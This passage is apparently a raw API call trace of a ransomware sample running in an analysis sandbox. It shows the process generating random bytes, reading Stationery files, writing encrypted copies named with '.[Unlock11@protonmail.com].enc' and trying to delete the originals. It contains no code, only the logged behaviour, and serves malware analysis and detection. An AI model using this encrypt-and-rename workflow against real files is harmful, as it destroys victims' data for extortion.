hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0123.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0123.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0123.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0123.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.735] GetLastError () returned 0x0 [0123.735] GetLastError () returned 0x0 [0123.735] GetLastError () returned 0x0 [0123.735] GetLastError () returned 0x0 [0123.735] GetLastError () returned 0x0 [0123.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.736] GetLastError () returned 0x0 [0123.737] GetLastError () returned 0x0 [0123.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b18 [0123.737] GetLastError () returned 0x0 [0123.737] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.737] GetFileType (hFile=0x39c) returned 0x1 [0123.737] GetLastError () returned 0x0 [0123.737] GetLastError () returned 0x0 [0123.738] GetFileType (hFile=0x39c) returned 0x1 [0123.738] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.738] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.738] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.738] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.738] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.738] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.738] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.738] GetLastError () returned 0x0 [0123.738] GetCurrentThreadId () returned 0x9b0 [0123.738] GetLastError () returned 0x0 [0123.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0123.739] GetLastError () returned 0x0 [0123.739] GetLastError () returned 0x0 [0123.739] GetLastError () returned 0x0 [0123.739] GetLastError () returned 0x0 [0123.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b18 [0123.739] GetLastError () returned 0x0 [0123.739] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.740] GetFileType (hFile=0x3ac) returned 0x1 [0123.740] GetLastError () returned 0x0 [0123.740] GetCurrentThreadId () returned 0x9b0 [0123.740] GetLastError () returned 0x0 [0123.740] GetFileType (hFile=0x3ac) returned 0x1 [0123.740] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.740] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.740] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.740] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.740] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.740] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.740] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.741] GetLastError () returned 0x0 [0123.741] GetCurrentThreadId () returned 0x9b0 [0123.741] GetLastError () returned 0x0 [0123.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0123.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.741] GetLastError () returned 0x0 [0123.741] GetLastError () returned 0x0 [0123.742] GetCurrentThreadId () returned 0x9b0 [0123.742] GetLastError () returned 0x0 [0123.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.742] GetLastError () returned 0x0 [0123.742] GetLastError () returned 0x0 [0123.743] GetCurrentThreadId () returned 0x9b0 [0123.743] GetLastError () returned 0x0 [0123.743] GetLastError () returned 0x0 [0123.744] GetLastError () returned 0x0 [0123.744] GetCurrentThreadId () returned 0x9b0 [0123.744] GetLastError () returned 0x0 [0123.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x798) returned 0x35c5908 [0123.745] GetCurrentThreadId () returned 0x9b0 [0123.745] GetLastError () returned 0x0 [0123.745] GetLastError () returned 0x0 [0123.745] GetLastError () returned 0x0 [0123.745] GetLastError () returned 0x0 [0123.745] GetCurrentThreadId () returned 0x9b0 [0123.745] GetLastError () returned 0x0 [0123.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0123.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.746] GetLastError () returned 0x0 [0123.746] GetLastError () returned 0x0 [0123.746] GetCurrentThreadId () returned 0x9b0 [0123.746] GetLastError () returned 0x0 [0123.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0123.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8ce8 [0123.746] GetLastError () returned 0x0 [0123.746] GetLastError () returned 0x0 [0123.746] GetCurrentThreadId () returned 0x9b0 [0123.747] GetLastError () returned 0x0 [0123.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8ce8 | out: hHeap=0x2ad0000) returned 1 [0123.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.747] GetLastError () returned 0x0 [0123.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.748] CloseHandle (hObject=0x3ac) returned 1 [0123.748] GetLastError () returned 0x0 [0123.748] GetCurrentThreadId () returned 0x9b0 [0123.748] GetLastError () returned 0x0 [0123.748] GetLastError () returned 0x0 [0123.748] CloseHandle (hObject=0x39c) returned 1 [0123.749] GetLastError () returned 0x0 [0123.749] GetCurrentThreadId () returned 0x9b0 [0123.749] GetLastError () returned 0x0 [0123.749] GetLastError () returned 0x0 [0123.749] GetLastError () returned 0x0 [0123.749] GetLastError () returned 0x0 [0123.749] GetLastError () returned 0x0 [0123.749] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0 [0123.749] GetLastError () returned 0x5 [0123.750] GetCurrentThreadId () returned 0x9b0 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.750] LocalFree (hMem=0x1053a70) returned 0x0 [0123.750] GetCurrentThreadId () returned 0x9b0 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.750] GetLastError () returned 0x5 [0123.751] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", lpFilePart=0x9bada4*="Shades of Blue.htm") returned 0x4c [0123.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0123.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0123.751] GetCurrentThreadId () returned 0x9b0 [0123.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea850 [0123.751] GetLastError () returned 0x0 [0123.752] GetLastError () returned 0x0 [0123.752] GetLastError () returned 0x0 [0123.752] GetLastError () returned 0x0 [0123.752] GetCurrentThreadId () returned 0x9b0 [0123.752] GetLastError () returned 0x0 [0123.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea850 | out: hHeap=0x2ad0000) returned 1 [0123.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.752] GetLastError () returned 0x0 [0123.753] GetLastError () returned 0x0 [0123.753] GetLastError () returned 0x0 [0123.753] GetLastError () returned 0x0 [0123.753] GetCurrentThreadId () returned 0x9b0 [0123.753] GetLastError () returned 0x0 [0123.753] GetCurrentThreadId () returned 0x9b0 [0123.753] GetLastError () returned 0x0 [0123.753] GetLastError () returned 0x0 [0123.753] GetLastError () returned 0x0 [0123.754] GetLastError () returned 0x0 [0123.754] GetCurrentThreadId () returned 0x9b0 [0123.754] GetLastError () returned 0x0 [0123.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.754] GetLastError () returned 0x0 [0123.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0123.754] GetLastError () returned 0x0 [0123.754] GetLastError () returned 0x0 [0123.754] GetLastError () returned 0x0 [0123.754] GetCurrentThreadId () returned 0x9b0 [0123.755] GetLastError () returned 0x0 [0123.755] GetLastError () returned 0x0 [0123.755] GetLastError () returned 0x0 [0123.755] GetLastError () returned 0x0 [0123.755] GetLastError () returned 0x0 [0123.755] GetCurrentThreadId () returned 0x9b0 [0123.755] GetLastError () returned 0x0 [0123.755] GetCurrentThreadId () returned 0x9b0 [0123.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0123.756] GetLastError () returned 0x0 [0123.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0123.756] GetLastError () returned 0x0 [0123.756] GetLastError () returned 0x0 [0123.756] GetLastError () returned 0x0 [0123.756] GetCurrentThreadId () returned 0x9b0 [0123.756] GetLastError () returned 0x0 [0123.756] GetLastError () returned 0x0 [0123.756] GetLastError () returned 0x0 [0123.756] GetLastError () returned 0x0 [0123.757] GetLastError () returned 0x0 [0123.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.757] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0123.757] GetLastError () returned 0x0 [0123.757] GetCurrentThreadId () returned 0x9b0 [0123.758] GetLastError () returned 0x0 [0123.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0123.758] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664e94 | out: pbBuffer=0x3664e94) returned 1 [0123.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0123.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0123.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0123.758] GetCurrentThreadId () returned 0x9b0 [0123.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.758] GetLastError () returned 0x0 [0123.758] GetLastError () returned 0x0 [0123.758] GetLastError () returned 0x0 [0123.759] GetLastError () returned 0x0 [0123.759] GetCurrentThreadId () returned 0x9b0 [0123.759] GetLastError () returned 0x0 [0123.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.759] GetCurrentThreadId () returned 0x9b0 [0123.759] GetLastError () returned 0x0 [0123.759] GetLastError () returned 0x0 [0123.759] GetLastError () returned 0x0 [0123.759] GetLastError () returned 0x0 [0123.760] GetCurrentThreadId () returned 0x9b0 [0123.760] GetLastError () returned 0x0 [0123.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0123.760] GetLastError () returned 0x0 [0123.760] GetLastError () returned 0x0 [0123.760] GetLastError () returned 0x0 [0123.760] GetLastError () returned 0x0 [0123.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0123.761] GetLastError () returned 0x0 [0123.761] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.761] GetFileType (hFile=0x39c) returned 0x1 [0123.761] GetLastError () returned 0x0 [0123.761] GetCurrentThreadId () returned 0x9b0 [0123.761] GetLastError () returned 0x0 [0123.761] GetFileType (hFile=0x39c) returned 0x1 [0123.761] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.762] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.762] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.762] GetLastError () returned 0x0 [0123.762] GetCurrentThreadId () returned 0x9b0 [0123.762] GetLastError () returned 0x0 [0123.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0123.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0123.762] GetLastError () returned 0x0 [0123.762] GetLastError () returned 0x0 [0123.762] GetLastError () returned 0x0 [0123.763] GetLastError () returned 0x0 [0123.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0123.763] GetLastError () returned 0x0 [0123.763] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.763] GetFileType (hFile=0x3ac) returned 0x1 [0123.763] GetLastError () returned 0x0 [0123.764] GetCurrentThreadId () returned 0x9b0 [0123.764] GetLastError () returned 0x0 [0123.764] GetFileType (hFile=0x3ac) returned 0x1 [0123.764] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.764] GetLastError () returned 0x0 [0123.764] GetCurrentThreadId () returned 0x9b0 [0123.765] GetLastError () returned 0x0 [0123.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0123.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0123.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.765] GetLastError () returned 0x0 [0123.765] GetLastError () returned 0x0 [0123.765] GetCurrentThreadId () returned 0x9b0 [0123.765] GetLastError () returned 0x0 [0123.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.765] GetLastError () returned 0x0 [0123.765] GetLastError () returned 0x0 [0123.766] GetCurrentThreadId () returned 0x9b0 [0123.766] GetLastError () returned 0x0 [0123.766] GetLastError () returned 0x0 [0123.767] GetLastError () returned 0x0 [0123.767] GetCurrentThreadId () returned 0x9b0 [0123.767] GetLastError () returned 0x0 [0123.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.767] GetCurrentThreadId () returned 0x9b0 [0123.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x35bd508 [0123.767] GetLastError () returned 0x0 [0123.767] GetLastError () returned 0x0 [0123.767] GetLastError () returned 0x0 [0123.768] GetLastError () returned 0x0 [0123.768] GetCurrentThreadId () returned 0x9b0 [0123.768] GetLastError () returned 0x0 [0123.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bd508 | out: hHeap=0x2ad0000) returned 1 [0123.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.768] GetLastError () returned 0x0 [0123.768] GetLastError () returned 0x0 [0123.768] GetCurrentThreadId () returned 0x9b0 [0123.768] GetLastError () returned 0x0 [0123.768] GetLastError () returned 0x0 [0123.769] GetLastError () returned 0x0 [0123.769] GetCurrentThreadId () returned 0x9b0 [0123.769] GetLastError () returned 0x0 [0123.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.769] GetLastError () returned 0x0 [0123.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.770] CloseHandle (hObject=0x3ac) returned 1 [0123.770] GetLastError () returned 0x0 [0123.770] GetCurrentThreadId () returned 0x9b0 [0123.770] GetLastError () returned 0x0 [0123.770] GetLastError () returned 0x0 [0123.771] CloseHandle (hObject=0x39c) returned 1 [0123.771] GetLastError () returned 0x0 [0123.771] GetCurrentThreadId () returned 0x9b0 [0123.771] GetLastError () returned 0x0 [0123.771] GetLastError () returned 0x0 [0123.771] GetLastError () returned 0x0 [0123.771] GetLastError () returned 0x0 [0123.771] GetLastError () returned 0x0 [0123.771] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0 [0123.772] GetLastError () returned 0x5 [0123.772] GetCurrentThreadId () returned 0x9b0 [0123.772] GetLastError () returned 0x5 [0123.772] GetLastError () returned 0x5 [0123.772] GetLastError () returned 0x5 [0123.772] GetLastError () returned 0x5 [0123.772] LocalFree (hMem=0x1053cf0) returned 0x0 [0123.772] GetCurrentThreadId () returned 0x9b0 [0123.772] GetLastError () returned 0x5 [0123.772] GetLastError () returned 0x5 [0123.772] GetLastError () returned 0x5 [0123.773] GetLastError () returned 0x5 [0123.773] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x9bada4*="ShadesOfBlue.jpg") returned 0x4a [0123.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.773] GetCurrentThreadId () returned 0x9b0 [0123.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.773] GetLastError () returned 0x0 [0123.774] GetLastError () returned 0x0 [0123.774] GetLastError () returned 0x0 [0123.774] GetLastError () returned 0x0 [0123.774] GetCurrentThreadId () returned 0x9b0 [0123.774] GetLastError () returned 0x0 [0123.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.774] GetCurrentThreadId () returned 0x9b0 [0123.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.774] GetLastError () returned 0x0 [0123.774] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetCurrentThreadId () returned 0x9b0 [0123.775] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetLastError () returned 0x0 [0123.775] GetCurrentThreadId () returned 0x9b0 [0123.775] GetLastError () returned 0x0 [0123.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.776] GetLastError () returned 0x0 [0123.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0123.776] GetLastError () returned 0x0 [0123.776] GetLastError () returned 0x0 [0123.776] GetLastError () returned 0x0 [0123.776] GetCurrentThreadId () returned 0x9b0 [0123.776] GetCurrentThreadId () returned 0x9b0 [0123.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0123.776] GetCurrentThreadId () returned 0x9b0 [0123.776] GetCurrentThreadId () returned 0x9b0 [0123.777] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, 